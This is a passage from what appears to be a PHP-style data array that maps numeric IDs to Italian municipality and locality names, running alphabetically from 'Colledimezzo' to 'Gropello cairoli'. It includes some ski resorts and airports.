\"Colledimezzo\",2233 => \"Colleferro\",2234 => \"Collegiove\",2235 => \"Collegno\",2236 => \"Collelongo\",2237 => \"Collepardo\",2238 => \"Collepasso\",2239 => \"Collepietro\",2240 => \"Colleretto castelnuovo\",2241 => \"Colleretto Giacosa\",2242 => \"Collesalvetti\",2243 => \"Collesano\",2244 => \"Colletorto\",2245 => \"Collevecchio\",2246 => \"Colli a volturno\",2247 => \"Colli del Tronto\",2248 => \"Colli sul Velino\",2249 => \"Colliano\",2250 => \"Collinas\",2251 => \"Collio\",2252 => \"Collobiano\",2253 => \"Colloredo di monte Albano\",2254 => \"Colmurano\",2255 => \"Colobraro\",2256 => \"Cologna veneta\",2257 => \"Cologne\",2258 => \"Cologno al Serio\",2259 => \"Cologno monzese\",2260 => \"Colognola ai Colli\",2261 => \"Colonna\",2262 => \"Colonnella\",2263 => \"Colonno\",2264 => \"Colorina\",2265 => \"Colorno\",2266 => \"Colosimi\",2267 => \"Colturano\",2268 => \"Colzate\",2269 => \"Comabbio\",2270 => \"Comacchio\",2271 => \"Comano\",2272 => \"Comazzo\",2273 => \"Comeglians\",2274 => \"Comelico superiore\",2275 => \"Comerio\",2276 => \"Comezzano Cizzago\",2277 => \"Comignago\",2278 => \"Comiso\",2279 => \"Comitini\",2280 => \"Comiziano\",2281 => \"Commessaggio\",2282 => \"Commezzadura\",2283 => \"Como\",2284 => \"Compiano\",8711 => \"Comprensorio Cimone\",2285 => \"Comun nuovo\",2286 => \"Comunanza\",2287 => \"Cona\",2288 => \"Conca Casale\",2289 => \"Conca dei Marini\",2290 => \"Conca della Campania\",2291 => \"Concamarise\",2292 => \"Concei\",2293 => \"Concerviano\",2294 => \"Concesio\",2295 => \"Conco\",2296 => \"Concordia Sagittaria\",2297 => \"Concordia sulla Secchia\",2298 => \"Concorezzo\",2299 => \"Condino\",2300 => \"Condofuri\",8689 => \"Condofuri Marina\",2301 => \"Condove\",2302 => \"Condro'\",2303 => \"Conegliano\",2304 => \"Confienza\",2305 => \"Configni\",2306 => \"Conflenti\",2307 => \"Coniolo\",2308 => \"Conselice\",2309 => \"Conselve\",2310 => \"Consiglio di Rumo\",2311 => \"Contessa Entellina\",2312 => \"Contigliano\",2313 => \"Contrada\",2314 => \"Controguerra\",2315 => \"Controne\",2316 => \"Contursi terme\",2317 => \"Conversano\",2318 => \"Conza della Campania\",2319 => \"Conzano\",2320 => \"Copertino\",2321 => \"Copiano\",2322 => \"Copparo\",2323 => \"Corana\",2324 => \"Corato\",2325 => \"Corbara\",2326 => \"Corbetta\",2327 => \"Corbola\",2328 => \"Corchiano\",2329 => \"Corciano\",2330 => \"Cordenons\",2331 => \"Cordignano\",2332 => \"Cordovado\",2333 => \"Coredo\",2334 => \"Coreglia Antelminelli\",2335 => \"Coreglia ligure\",2336 => \"Coreno Ausonio\",2337 => \"Corfinio\",2338 => \"Cori\",2339 => \"Coriano\",2340 => \"Corigliano calabro\",8110 => \"Corigliano Calabro Marina\",2341 => \"Corigliano d'Otranto\",2342 => \"Corinaldo\",2343 => \"Corio\",2344 => \"Corleone\",2345 => \"Corleto monforte\",2346 => \"Corleto Perticara\",2347 => \"Cormano\",2348 => \"Cormons\",2349 => \"Corna imagna\",2350 => \"Cornalba\",2351 => \"Cornale\",2352 => \"Cornaredo\",2353 => \"Cornate d'Adda\",2354 => \"Cornedo all'Isarco\",2355 => \"Cornedo vicentino\",2356 => \"Cornegliano laudense\",2357 => \"Corneliano d'Alba\",2358 => \"Corniglio\",8537 => \"Corno alle Scale\",8353 => \"Corno del Renon\",2359 => \"Corno di Rosazzo\",2360 => \"Corno Giovine\",2361 => \"Cornovecchio\",2362 => \"Cornuda\",2363 => \"Correggio\",2364 => \"Correzzana\",2365 => \"Correzzola\",2366 => \"Corrido\",2367 => \"Corridonia\",2368 => \"Corropoli\",2369 => \"Corsano\",2370 => \"Corsico\",2371 => \"Corsione\",2372 => \"Cortaccia sulla strada del vino\",2373 => \"Cortale\",2374 => \"Cortandone\",2375 => \"Cortanze\",2376 => \"Cortazzone\",2377 => \"Corte brugnatella\",2378 => \"Corte de' Cortesi con Cignone\",2379 => \"Corte de' Frati\",2380 => \"Corte Franca\",2381 => \"Corte Palasio\",2382 => \"Cortemaggiore\",2383 => \"Cortemilia\",2384 => \"Corteno Golgi\",2385 => \"Cortenova\",2386 => \"Cortenuova\",2387 => \"Corteolona\",2388 => \"Cortiglione\",2389 => \"Cortina d'Ampezzo\",2390 => \"Cortina sulla strada del vino\",2391 => \"Cortino\",2392 => \"Cortona\",2393 => \"Corvara\",2394 => \"Corvara in Badia\",2395 => \"Corvino san Quirico\",2396 => \"Corzano\",2397 => \"Coseano\",2398 => \"Cosenza\",2399 => \"Cosio di Arroscia\",2400 => \"Cosio valtellino\",2401 => \"Cosoleto\",2402 => \"Cossano belbo\",2403 => \"Cossano canavese\",2404 => \"Cossato\",2405 => \"Cosseria\",2406 => \"Cossignano\",2407 => \"Cossogno\",2408 => \"Cossoine\",2409 => \"Cossombrato\",2410 => \"Costa de' Nobili\",2411 => \"Costa di Mezzate\",2412 => \"Costa di Rovigo\",2413 => \"Costa di serina\",2414 => \"Costa masnaga\",8177 => \"Costa Rei\",2415 => \"Costa valle imagna\",2416 => \"Costa Vescovato\",2417 => \"Costa Volpino\",2418 => \"Costabissara\",2419 => \"Costacciaro\",2420 => \"Costanzana\",2421 => \"Costarainera\",2422 => \"Costermano\",2423 => \"Costigliole d'Asti\",2424 => \"Costigliole Saluzzo\",2425 => \"Cotignola\",2426 => \"Cotronei\",2427 => \"Cottanello\",8256 => \"Couis 2\",2428 => \"Courmayeur\",2429 => \"Covo\",2430 => \"Cozzo\",8382 => \"Craco\",2432 => \"Crandola valsassina\",2433 => \"Cravagliana\",2434 => \"Cravanzana\",2435 => \"Craveggia\",2436 => \"Creazzo\",2437 => \"Crecchio\",2438 => \"Credaro\",2439 => \"Credera Rubbiano\",2440 => \"Crema\",2441 => \"Cremella\",2442 => \"Cremenaga\",2443 => \"Cremeno\",2444 => \"Cremia\",2445 => \"Cremolino\",2446 => \"Cremona\",2447 => \"Cremosano\",2448 => \"Crescentino\",2449 => \"Crespadoro\",2450 => \"Crespano del Grappa\",2451 => \"Crespellano\",2452 => \"Crespiatica\",2453 => \"Crespina\",2454 => \"Crespino\",2455 => \"Cressa\",8247 => \"Crest\",8741 => \"Cresta Youla\",8646 => \"Crevacol\",2456 => \"Crevacuore\",2457 => \"Crevalcore\",2458 => \"Crevoladossola\",2459 => \"Crispano\",2460 => \"Crispiano\",2461 => \"Crissolo\",8355 => \"Crissolo Pian delle Regine\",2462 => \"Crocefieschi\",2463 => \"Crocetta del Montello\",2464 => \"Crodo\",2465 => \"Crognaleto\",2466 => \"Cropalati\",2467 => \"Cropani\",2468 => \"Crosa\",2469 => \"Crosia\",2470 => \"Crosio della valle\",2471 => \"Crotone\",8552 => \"Crotone Sant'Anna\",2472 => \"Crotta d'Adda\",2473 => \"Crova\",2474 => \"Croviana\",2475 => \"Crucoli\",2476 => \"Cuasso al monte\",2477 => \"Cuccaro monferrato\",2478 => \"Cuccaro Vetere\",2479 => \"Cucciago\",2480 => \"Cuceglio\",2481 => \"Cuggiono\",2482 => \"Cugliate-fabiasco\",2483 => \"Cuglieri\",2484 => \"Cugnoli\",8718 => \"Cuma\",2485 => \"Cumiana\",2486 => \"Cumignano sul Naviglio\",2487 => \"Cunardo\",2488 => \"Cuneo\",8553 => \"Cuneo Levaldigi\",2489 => \"Cunevo\",2490 => \"Cunico\",2491 => \"Cuorgne'\",2492 => \"Cupello\",2493 => \"Cupra marittima\",2494 => \"Cupramontana\",2495 => \"Cura carpignano\",2496 => \"Curcuris\",2497 => \"Cureggio\",2498 => \"Curiglia con Monteviasco\",2499 => \"Curinga\",2500 => \"Curino\",2501 => \"Curno\",2502 => \"Curon Venosta\",2503 => \"Cursi\",2504 => \"Cursolo orasso\",2505 => \"Curtarolo\",2506 => \"Curtatone\",2507 => \"Curti\",2508 => \"Cusago\",2509 => \"Cusano milanino\",2510 => \"Cusano Mutri\",2511 => \"Cusino\",2512 => \"Cusio\",2513 => \"Custonaci\",2514 => \"Cutigliano\",2515 => \"Cutro\",2516 => \"Cutrofiano\",2517 => \"Cuveglio\",2518 => \"Cuvio\",2519 => \"Daiano\",2520 => \"Dairago\",2521 => \"Dalmine\",2522 => \"Dambel\",2523 => \"Danta di cadore\",2524 => \"Daone\",2525 => \"Dare'\",2526 => \"Darfo Boario terme\",2527 => \"Dasa'\",2528 => \"Davagna\",2529 => \"Daverio\",2530 => \"Davoli\",2531 => \"Dazio\",2532 => \"Decimomannu\",2533 => \"Decimoputzu\",2534 => \"Decollatura\",2535 => \"Dego\",2536 => \"Deiva marina\",2537 => \"Delebio\",2538 => \"Delia\",2539 => \"Delianuova\",2540 => \"Deliceto\",2541 => \"Dello\",2542 => \"Demonte\",2543 => \"Denice\",2544 => \"Denno\",2545 => \"Dernice\",2546 => \"Derovere\",2547 => \"Deruta\",2548 => \"Dervio\",2549 => \"Desana\",2550 => \"Desenzano del Garda\",2551 => \"Desio\",2552 => \"Desulo\",2553 => \"Diamante\",2554 => \"Diano arentino\",2555 => \"Diano castello\",2556 => \"Diano d'Alba\",2557 => \"Diano marina\",2558 => \"Diano San Pietro\",2559 => \"Dicomano\",2560 => \"Dignano\",2561 => \"Dimaro\",2562 => \"Dinami\",2563 => \"Dipignano\",2564 => \"Diso\",2565 => \"Divignano\",2566 => \"Dizzasco\",2567 => \"Dobbiaco\",2568 => \"Doberdo' del lago\",8628 => \"Doganaccia\",2569 => \"Dogliani\",2570 => \"Dogliola\",2571 => \"Dogna\",2572 => \"Dolce'\",2573 => \"Dolceacqua\",2574 => \"Dolcedo\",2575 => \"Dolegna del collio\",2576 => \"Dolianova\",2577 => \"Dolo\",8616 => \"Dolonne\",2578 => \"Dolzago\",2579 => \"Domanico\",2580 => \"Domaso\",2581 => \"Domegge di cadore\",2582 => \"Domicella\",2583 => \"Domodossola\",2584 => \"Domus de Maria\",2585 => \"Domusnovas\",2586 => \"Don\",2587 => \"Donato\",2588 => \"Dongo\",2589 => \"Donnas\",2590 => \"Donori'\",2591 => \"Dorgali\",2592 => \"Dorio\",2593 => \"Dormelletto\",2594 => \"Dorno\",2595 => \"Dorsino\",2596 => \"Dorzano\",2597 => \"Dosolo\",2598 => \"Dossena\",2599 => \"Dosso del liro\",8323 => \"Dosso Pasò\",2600 => \"Doues\",2601 => \"Dovadola\",2602 => \"Dovera\",2603 => \"Dozza\",2604 => \"Dragoni\",2605 => \"Drapia\",2606 => \"Drena\",2607 => \"Drenchia\",2608 => \"Dresano\",2609 => \"Drezzo\",2610 => \"Drizzona\",2611 => \"Dro\",2612 => \"Dronero\",2613 => \"Druento\",2614 => \"Druogno\",2615 => \"Dualchi\",2616 => \"Dubino\",2617 => \"Due carrare\",2618 => \"Dueville\",2619 => \"Dugenta\",2620 => \"Duino aurisina\",2621 => \"Dumenza\",2622 => \"Duno\",2623 => \"Durazzano\",2624 => \"Duronia\",2625 => \"Dusino San Michele\",2626 => \"Eboli\",2627 => \"Edolo\",2628 => \"Egna\",2629 => \"Elice\",2630 => \"Elini\",2631 => \"Ello\",2632 => \"Elmas\",2633 => \"Elva\",2634 => \"Emarese\",2635 => \"Empoli\",2636 => \"Endine gaiano\",2637 => \"Enego\",2638 => \"Enemonzo\",2639 => \"Enna\",2640 => \"Entracque\",2641 => \"Entratico\",8222 => \"Entreves\",2642 => \"Envie\",8397 => \"Episcopia\",2644 => \"Eraclea\",2645 => \"Erba\",2646 => \"Erbe'\",2647 => \"Erbezzo\",2648 => \"Erbusco\",2649 => \"Erchie\",2650 => \"Ercolano\",8531 => \"Eremo di Camaldoli\",8606 => \"Eremo di Carpegna\",2651 => \"Erice\",2652 => \"Erli\",2653 => \"Erto e casso\",2654 => \"Erula\",2655 => \"Erve\",2656 => \"Esanatoglia\",2657 => \"Escalaplano\",2658 => \"Escolca\",2659 => \"Esine\",2660 => \"Esino lario\",2661 => \"Esperia\",2662 => \"Esporlatu\",2663 => \"Este\",2664 => \"Esterzili\",2665 => \"Etroubles\",2666 => \"Eupilio\",2667 => \"Exilles\",2668 => \"Fabbrica Curone\",2669 => \"Fabbriche di vallico\",2670 => \"Fabbrico\",2671 => \"Fabriano\",2672 => \"Fabrica di Roma\",2673 => \"Fabrizia\",2674 => \"Fabro\",8458 => \"Fabro casello\",2675 => \"Faedis\",2676 => \"Faedo\",2677 => \"Faedo valtellino\",2678 => \"Faenza\",2679 => \"Faeto\",2680 => \"Fagagna\",2681 => \"Faggeto lario\",2682 => \"Faggiano\",2683 => \"Fagnano alto\",2684 => \"Fagnano castello\",2685 => \"Fagnano olona\",2686 => \"Fai della paganella\",2687 => \"Faicchio\",2688 => \"Falcade\",2689 => \"Falciano del massico\",2690 => \"Falconara albanese\",2691 => \"Falconara marittima\",2692 => \"Falcone\",2693 => \"Faleria\",2694 => \"Falerna\",8116 => \"Falerna Marina\",2695 => \"Falerone\",2696 => \"Fallo\",2697 => \"Falmenta\",2698 => \"Faloppio\",2699 => \"Falvaterra\",2700 => \"Falzes\",2701 => \"Fanano\",2702 => \"Fanna\",2703 => \"Fano\",2704 => \"Fano adriano\",2705 => \"Fara Filiorum Petri\",2706 => \"Fara gera d'Adda\",2707 => \"Fara in sabina\",2708 => \"Fara novarese\",2709 => \"Fara Olivana con Sola\",2710 => \"Fara San Martino\",2711 => \"Fara vicentino\",8360 => \"Fardella\",2713 => \"Farigliano\",2714 => \"Farindola\",2715 => \"Farini\",2716 => \"Farnese\",2717 => \"Farra d'alpago\",2718 => \"Farra d'Isonzo\",2719 => \"Farra di soligo\",2720 => \"Fasano\",2721 => \"Fascia\",2722 => \"Fauglia\",2723 => \"Faule\",2724 => \"Favale di malvaro\",2725 => \"Favara\",2726 => \"Faver\",2727 => \"Favignana\",2728 => \"Favria\",2729 => \"Feisoglio\",2730 => \"Feletto\",2731 => \"Felino\",2732 => \"Felitto\",2733 => \"Felizzano\",2734 => \"Felonica\",2735 => \"Feltre\",2736 => \"Fenegro'\",2737 => \"Fenestrelle\",2738 => \"Fenis\",2739 => \"Ferentillo\",2740 => \"Ferentino\",2741 => \"Ferla\",2742 => \"Fermignano\",2743 => \"Fermo\",2744 => \"Ferno\",2745 => \"Feroleto Antico\",2746 => \"Feroleto della chiesa\",8370 => \"Ferrandina\",2748 => \"Ferrara\",2749 => \"Ferrara di monte Baldo\",2750 => \"Ferrazzano\",2751 => \"Ferrera di Varese\",2752 => \"Ferrera Erbognone\",2753 => \"Ferrere\",2754 => \"Ferriere\",2755 => \"Ferruzzano\",2756 => \"Fiamignano\",2757 => \"Fiano\",2758 => \"Fiano romano\",2759 => \"Fiastra\",2760 => \"Fiave'\",2761 => \"Ficarazzi\",2762 => \"Ficarolo\",2763 => \"Ficarra\",2764 => \"Ficulle\",2765 => \"Fidenza\",2766 => \"Fie' allo Sciliar\",2767 => \"Fiera di primiero\",2768 => \"Fierozzo\",2769 => \"Fiesco\",2770 => \"Fiesole\",2771 => \"Fiesse\",2772 => \"Fiesso d'Artico\",2773 => \"Fiesso Umbertiano\",2774 => \"Figino Serenza\",2775 => \"Figline valdarno\",2776 => \"Figline Vegliaturo\",2777 => \"Filacciano\",2778 => \"Filadelfia\",2779 => \"Filago\",2780 => \"Filandari\",2781 => \"Filattiera\",2782 => \"Filettino\",2783 => \"Filetto\",8392 => \"Filiano\",2785 => \"Filighera\",2786 => \"Filignano\",2787 => \"Filogaso\",2788 => \"Filottrano\",2789 => \"Finale emilia\",2790 => \"Finale ligure\",2791 => \"Fino del monte\",2792 => \"Fino Mornasco\",2793 => \"Fiorano al Serio\",2794 => \"Fiorano canavese\",2795 => \"Fiorano modenese\",2796 => \"Fiordimonte\",2797 => \"Fiorenzuola d'arda\",2798 => \"Firenze\",8270 => \"Firenze Peretola\",2799 => \"Firenzuola\",2800 => \"Firmo\",2801 => \"Fisciano\",2802 => \"Fiuggi\",2803 => \"Fiumalbo\",2804 => \"Fiumara\",8489 => \"Fiumata\",2805 => \"Fiume veneto\",2806 => \"Fiumedinisi\",2807 => \"Fiumefreddo Bruzio\",2808 => \"Fiumefreddo di Sicilia\",2809 => \"Fiumicello\",2810 => \"Fiumicino\",2811 => \"Fiuminata\",2812 => \"Fivizzano\",2813 => \"Flaibano\",2814 => \"Flavon\",2815 => \"Flero\",2816 => \"Floresta\",2817 => \"Floridia\",2818 => \"Florinas\",2819 => \"Flumeri\",2820 => \"Fluminimaggiore\",2821 => \"Flussio\",2822 => \"Fobello\",2823 => \"Foggia\",2824 => \"Foglianise\",2825 => \"Fogliano redipuglia\",2826 => \"Foglizzo\",2827 => \"Foiano della chiana\",2828 => \"Foiano di val fortore\",2829 => \"Folgaria\",8202 => \"Folgarida\",2830 => \"Folignano\",2831 => \"Foligno\",2832 => \"Follina\",2833 => \"Follo\",2834 => \"Follonica\",2835 => \"Fombio\",2836 => \"Fondachelli Fantina\",2837 => \"Fondi\",2838 => \"Fondo\",2839 => \"Fonni\",2840 => \"Fontainemore\",2841 => \"Fontana liri\",2842 => \"Fontanafredda\",2843 => \"Fontanarosa\",8185 => \"Fontane Bianche\",2844 => \"Fontanelice\",2845 => \"Fontanella\",2846 => \"Fontanellato\",2847 => \"Fontanelle\",2848 => \"Fontaneto d'Agogna\",2849 => \"Fontanetto po\",2850 => \"Fontanigorda\",2851 => \"Fontanile\",2852 => \"Fontaniva\",2853 => \"Fonte\",8643 => \"Fonte Cerreto\",2854 => \"Fonte Nuova\",2855 => \"Fontecchio\",2856 => \"Fontechiari\",2857 => \"Fontegreca\",2858 => \"Fonteno\",2859 => \"Fontevivo\",2860 => \"Fonzaso\",2861 => \"Foppolo\",8540 => \"Foppolo IV Baita\",2862 => \"Forano\",2863 => \"Force\",2864 => \"Forchia\",2865 => \"Forcola\",2866 => \"Fordongianus\",2867 => \"Forenza\",2868 => \"Foresto sparso\",2869 => \"Forgaria nel friuli\",2870 => \"Forino\",2871 => \"Forio\",8551 => \"Forlì Ridolfi\",2872 => \"Forli'\",2873 => \"Forli' del sannio\",2874 => \"Forlimpopoli\",2875 => \"Formazza\",2876 => \"Formello\",2877 => \"Formia\",2878 => \"Formicola\",2879 => \"Formigara\",2880 => \"Formigine\",2881 => \"Formigliana\",2882 => \"Formignana\",2883 => \"Fornace\",2884 => \"Fornelli\",2885 => \"Forni Avoltri\",2886 => \"Forni di sopra\",2887 => \"Forni di sotto\",8161 => \"Forno Alpi Graie\",2888 => \"Forno canavese\",2889 => \"Forno di Zoldo\",2890 => \"Fornovo di Taro\",2891 => \"Fornovo San Giovanni\",2892 => \"Forte dei marmi\",2893 => \"Fortezza\",2894 => \"Fortunago\",2895 => \"Forza d'Agro'\",2896 => \"Fosciandora\",8435 => \"Fosdinovo\",2898 => \"Fossa\",2899 => \"Fossacesia\",2900 => \"Fossalta di Piave\",2901 => \"Fossalta di Portogruaro\",2902 => \"Fossalto\",2903 => \"Fossano\",2904 => \"Fossato di vico\",2905 => \"Fossato serralta\",2906 => \"Fosso'\",2907 => \"Fossombrone\",2908 => \"Foza\",2909 => \"Frabosa soprana\",2910 => \"Frabosa sottana\",2911 => \"Fraconalto\",2912 => \"Fragagnano\",2913 => \"Fragneto l'abate\",2914 => \"Fragneto monforte\",2915 => \"Fraine\",2916 => \"Framura\",2917 => \"Francavilla al mare\",2918 => \"Francavilla angitola\",2919 => \"Francavilla bisio\",2920 => \"Francavilla d'ete\",2921 => \"Francavilla di Sicilia\",2922 => \"Francavilla fontana\",8380 => \"Francavilla in sinni\",2924 => \"Francavilla marittima\",2925 => \"Francica\",2926 => \"Francofonte\",2927 => \"Francolise\",2928 => \"Frascaro\",2929 => \"Frascarolo\",2930 => \"Frascati\",2931 => \"Frascineto\",2932 => \"Frassilongo\",2933 => \"Frassinelle polesine\",2934 => \"Frassinello monferrato\",2935 => \"Frassineto po\",2936 => \"Frassinetto\",2937 => \"Frassino\",2938 => \"Frassinoro\",2939 => \"Frasso sabino\",2940 => \"Frasso telesino\",2941 => \"Fratta polesine\",2942 => \"Fratta todina\",2943 => \"Frattamaggiore\",2944 => \"Frattaminore\",2945 => \"Fratte rosa\",2946 => \"Frazzano'\",8137 => \"Fregene\",2947 => \"Fregona\",8667 => \"Frejusia\",2948 => \"Fresagrandinaria\",2949 => \"Fresonara\",2950 => \"Frigento\",2951 => \"Frignano\",2952 => \"Frinco\",2953 => \"Frisa\",2954 => \"Frisanco\",2955 => \"Front\",8153 => \"Frontignano\",2956 => \"Frontino\",2957 => \"Frontone\",8751 => \"Frontone - Monte Catria\",2958 => \"Frosinone\",8464 => \"Frosinone casello\",2959 => \"Frosolone\",2960 => \"Frossasco\",2961 => \"Frugarolo\",2962 => \"Fubine\",2963 => \"Fucecchio\",2964 => \"Fuipiano valle imagna\",2965 => \"Fumane\",2966 => \"Fumone\",2967 => \"Funes\",2968 => \"Furci\",2969 => \"Furci siculo\",2970 => \"Furnari\",2971 => \"Furore\",2972 => \"Furtei\",2973 => \"Fuscaldo\",2974 => \"Fusignano\",2975 => \"Fusine\",8702 => \"Fusine di Zoldo\",8131 => \"Fusine in Valromana\",2976 => \"Futani\",2977 => \"Gabbioneta binanuova\",2978 => \"Gabiano\",2979 => \"Gabicce mare\",8252 => \"Gabiet\",2980 => \"Gaby\",2981 => \"Gadesco Pieve Delmona\",2982 => \"Gadoni\",2983 => \"Gaeta\",2984 => \"Gaggi\",2985 => \"Gaggiano\",2986 => \"Gaggio montano\",2987 => \"Gaglianico\",2988 => \"Gagliano aterno\",2989 => \"Gagliano castelferrato\",2990 => \"Gagliano del capo\",2991 => \"Gagliato\",2992 => \"Gagliole\",2993 => \"Gaiarine\",2994 => \"Gaiba\",2995 => \"Gaiola\",2996 => \"Gaiole in chianti\",2997 => \"Gairo\",2998 => \"Gais\",2999 => \"Galati Mamertino\",3000 => \"Galatina\",3001 => \"Galatone\",3002 => \"Galatro\",3003 => \"Galbiate\",3004 => \"Galeata\",3005 => \"Galgagnano\",3006 => \"Gallarate\",3007 => \"Gallese\",3008 => \"Galliate\",3009 => \"Galliate lombardo\",3010 => \"Galliavola\",3011 => \"Gallicano\",3012 => \"Gallicano nel Lazio\",8364 => \"Gallicchio\",3014 => \"Galliera\",3015 => \"Galliera veneta\",3016 => \"Gallinaro\",3017 => \"Gallio\",3018 => \"Gallipoli\",3019 => \"Gallo matese\",3020 => \"Gallodoro\",3021 => \"Galluccio\",8315 => \"Galluzzo\",3022 => \"Galtelli\",3023 => \"Galzignano terme\",3024 => \"Gamalero\",3025 => \"Gambara\",3026 => \"Gambarana\",8105 => \"Gambarie\",3027 => \"Gambasca\",3028 => \"Gambassi terme\",3029 => \"Gambatesa\",3030 => \"Gambellara\",3031 => \"Gamberale\",3032 => \"Gambettola\",3033 => \"Gambolo'\",3034 => \"Gambugliano\",3035 => \"Gandellino\",3036 => \"Gandino\",3037 => \"Gandosso\",3038 => \"Gangi\",8425 => \"Garaguso\",3040 => \"Garbagna\",3041 => \"Garbagna novarese\",3042 => \"Garbagnate milanese\",3043 => \"Garbagnate monastero\",3044 => \"Garda\",3045 => \"Gardone riviera\",3046 => \"Gardone val trompia\",3047 => \"Garessio\",8349 => \"Garessio 2000\",3048 => \"Gargallo\",3049 => \"Gargazzone\",3050 => \"Gargnano\",3051 => \"Garlasco\",3052 => \"Garlate\",3053 => \"Garlenda\",3054 => \"Garniga\",3055 => \"Garzeno\",3056 => \"Garzigliana\",3057 => \"Gasperina\",3058 => \"Gassino torinese\",3059 => \"Gattatico\",3060 => \"Gatteo\",3061 => \"Gattico\",3062 => \"Gattinara\",3063 => \"Gavardo\",3064 => \"Gavazzana\",3065 => \"Gavello\",3066 => \"Gaverina terme\",3067 => \"Gavi\",3068 => \"Gavignano\",3069 => \"Gavirate\",3070 => \"Gavoi\",3071 => \"Gavorrano\",3072 => \"Gazoldo degli ippoliti\",3073 => \"Gazzada schianno\",3074 => \"Gazzaniga\",3075 => \"Gazzo\",3076 => \"Gazzo veronese\",3077 => \"Gazzola\",3078 => \"Gazzuolo\",3079 => \"Gela\",3080 => \"Gemmano\",3081 => \"Gemona del friuli\",3082 => \"Gemonio\",3083 => \"Genazzano\",3084 => \"Genga\",3085 => \"Genivolta\",3086 => \"Genola\",3087 => \"Genoni\",3088 => \"Genova\",8506 => \"Genova Nervi\",8276 => \"Genova Sestri\",3089 => \"Genuri\",3090 => \"Genzano di lucania\",3091 => \"Genzano di roma\",3092 => \"Genzone\",3093 => \"Gera lario\",3094 => \"Gerace\",3095 => \"Geraci siculo\",3096 => \"Gerano\",8176 => \"Geremeas\",3097 => \"Gerenzago\",3098 => \"Gerenzano\",3099 => \"Gergei\",3100 => \"Germagnano\",3101 => \"Germagno\",3102 => \"Germasino\",3103 => \"Germignaga\",8303 => \"Gerno di Lesmo\",3104 => \"Gerocarne\",3105 => \"Gerola alta\",3106 => \"Gerosa\",3107 => \"Gerre de'caprioli\",3108 => \"Gesico\",3109 => \"Gessate\",3110 => \"Gessopalena\",3111 => \"Gesturi\",3112 => \"Gesualdo\",3113 => \"Ghedi\",3114 => \"Ghemme\",8236 => \"Ghiacciaio Presena\",3115 => \"Ghiffa\",3116 => \"Ghilarza\",3117 => \"Ghisalba\",3118 => \"Ghislarengo\",3119 => \"Giacciano con baruchella\",3120 => \"Giaglione\",3121 => \"Gianico\",3122 => \"Giano dell'umbria\",3123 => \"Giano vetusto\",3124 => \"Giardinello\",3125 => \"Giardini Naxos\",3126 => \"Giarole\",3127 => \"Giarratana\",3128 => \"Giarre\",3129 => \"Giave\",3130 => \"Giaveno\",3131 => \"Giavera del montello\",3132 => \"Giba\",3133 => \"Gibellina\",3134 => \"Gifflenga\",3135 => \"Giffone\",3136 => \"Giffoni sei casali\",3137 => \"Giffoni valle piana\",3380 => \"Giglio castello\",3138 => \"Gignese\",3139 => \"Gignod\",3140 => \"Gildone\",3141 => \"Gimigliano\",8403 => \"Ginestra\",3143 => \"Ginestra degli schiavoni\",8430 => \"Ginosa\",3145 => \"Gioi\",3146 => \"Gioia dei marsi\",3147 => \"Gioia del colle\",3148 => \"Gioia sannitica\",3149 => \"Gioia tauro\",3150 => \"Gioiosa ionica\",3151 => \"Gioiosa marea\",3152 => \"Giove\",3153 => \"Giovinazzo\",3154 => \"Giovo\",3155 => \"Girasole\",3156 => \"Girifalco\",3157 => \"Gironico\",3158 => \"Gissi\",3159 => \"Giuggianello\",3160 => \"Giugliano in campania\",3161 => \"Giuliana\",3162 => \"Giuliano di roma\",3163 => \"Giuliano teatino\",3164 => \"Giulianova\",3165 => \"Giuncugnano\",3166 => \"Giungano\",3167 => \"Giurdignano\",3168 => \"Giussago\",3169 => \"Giussano\",3170 => \"Giustenice\",3171 => \"Giustino\",3172 => \"Giusvalla\",3173 => \"Givoletto\",3174 => \"Gizzeria\",3175 => \"Glorenza\",3176 => \"Godega di sant'urbano\",3177 => \"Godiasco\",3178 => \"Godrano\",3179 => \"Goito\",3180 => \"Golasecca\",3181 => \"Golferenzo\",3182 => \"Golfo aranci\",3183 => \"Gombito\",3184 => \"Gonars\",3185 => \"Goni\",3186 => \"Gonnesa\",3187 => \"Gonnoscodina\",3188 => \"Gonnosfanadiga\",3189 => \"Gonnosno'\",3190 => \"Gonnostramatza\",3191 => \"Gonzaga\",3192 => \"Gordona\",3193 => \"Gorga\",3194 => \"Gorgo al monticano\",3195 => \"Gorgoglione\",3196 => \"Gorgonzola\",3197 => \"Goriano sicoli\",3198 => \"Gorizia\",3199 => \"Gorla maggiore\",3200 => \"Gorla minore\",3201 => \"Gorlago\",3202 => \"Gorle\",3203 => \"Gornate olona\",3204 => \"Gorno\",3205 => \"Goro\",3206 => \"Gorreto\",3207 => \"Gorzegno\",3208 => \"Gosaldo\",3209 => \"Gossolengo\",3210 => \"Gottasecca\",3211 => \"Gottolengo\",3212 => \"Govone\",3213 => \"Gozzano\",3214 => \"Gradara\",3215 => \"Gradisca d'isonzo\",3216 => \"Grado\",3217 => \"Gradoli\",3218 => \"Graffignana\",3219 => \"Graffignano\",3220 => \"Graglia\",3221 => \"Gragnano\",3222 => \"Gragnano trebbiense\",3223 => \"Grammichele\",8485 => \"Gran Paradiso\",3224 => \"Grana\",3225 => \"Granaglione\",3226 => \"Granarolo dell'emilia\",3227 => \"Grancona\",8728 => \"Grand Combin\",8327 => \"Grand Crot\",3228 => \"Grandate\",3229 => \"Grandola ed uniti\",3230 => \"Graniti\",3231 => \"Granozzo con monticello\",3232 => \"Grantola\",3233 => \"Grantorto\",3234 => \"Granze\",8371 => \"Grassano\",8504 => \"Grassina\",3236 => \"Grassobbio\",3237 => \"Gratteri\",3238 => \"Grauno\",3239 => \"Gravedona\",3240 => \"Gravellona lomellina\",3241 => \"Gravellona toce\",3242 => \"Gravere\",3243 => \"Gravina di Catania\",3244 => \"Gravina in puglia\",3245 => \"Grazzanise\",3246 => \"Grazzano badoglio\",3247 => \"Greccio\",3248 => \"Greci\",3249 => \"Greggio\",3250 => \"Gremiasco\",3251 => \"Gressan\",3252 => \"Gressoney la trinite'\",3253 => \"Gressoney saint jean\",3254 => \"Greve in chianti\",3255 => \"Grezzago\",3256 => \"Grezzana\",3257 => \"Griante\",3258 => \"Gricignano di aversa\",8733 => \"Grigna\",3259 => \"Grignasco\",3260 => \"Grigno\",3261 => \"Grimacco\",3262 => \"Grimaldi\",3263 => \"Grinzane cavour\",3264 => \"Grisignano di zocco\",3265 => \"Grisolia\",8520 => \"Grivola\",3266 => \"Grizzana morandi\",3267 => \"Grognardo\",3268 => \"Gromo\",3269 => \"Grondona\",3270 => \"Grone\",3271 => \"Grontardo\",3272 => \"Gropello cairoli\",3273 => 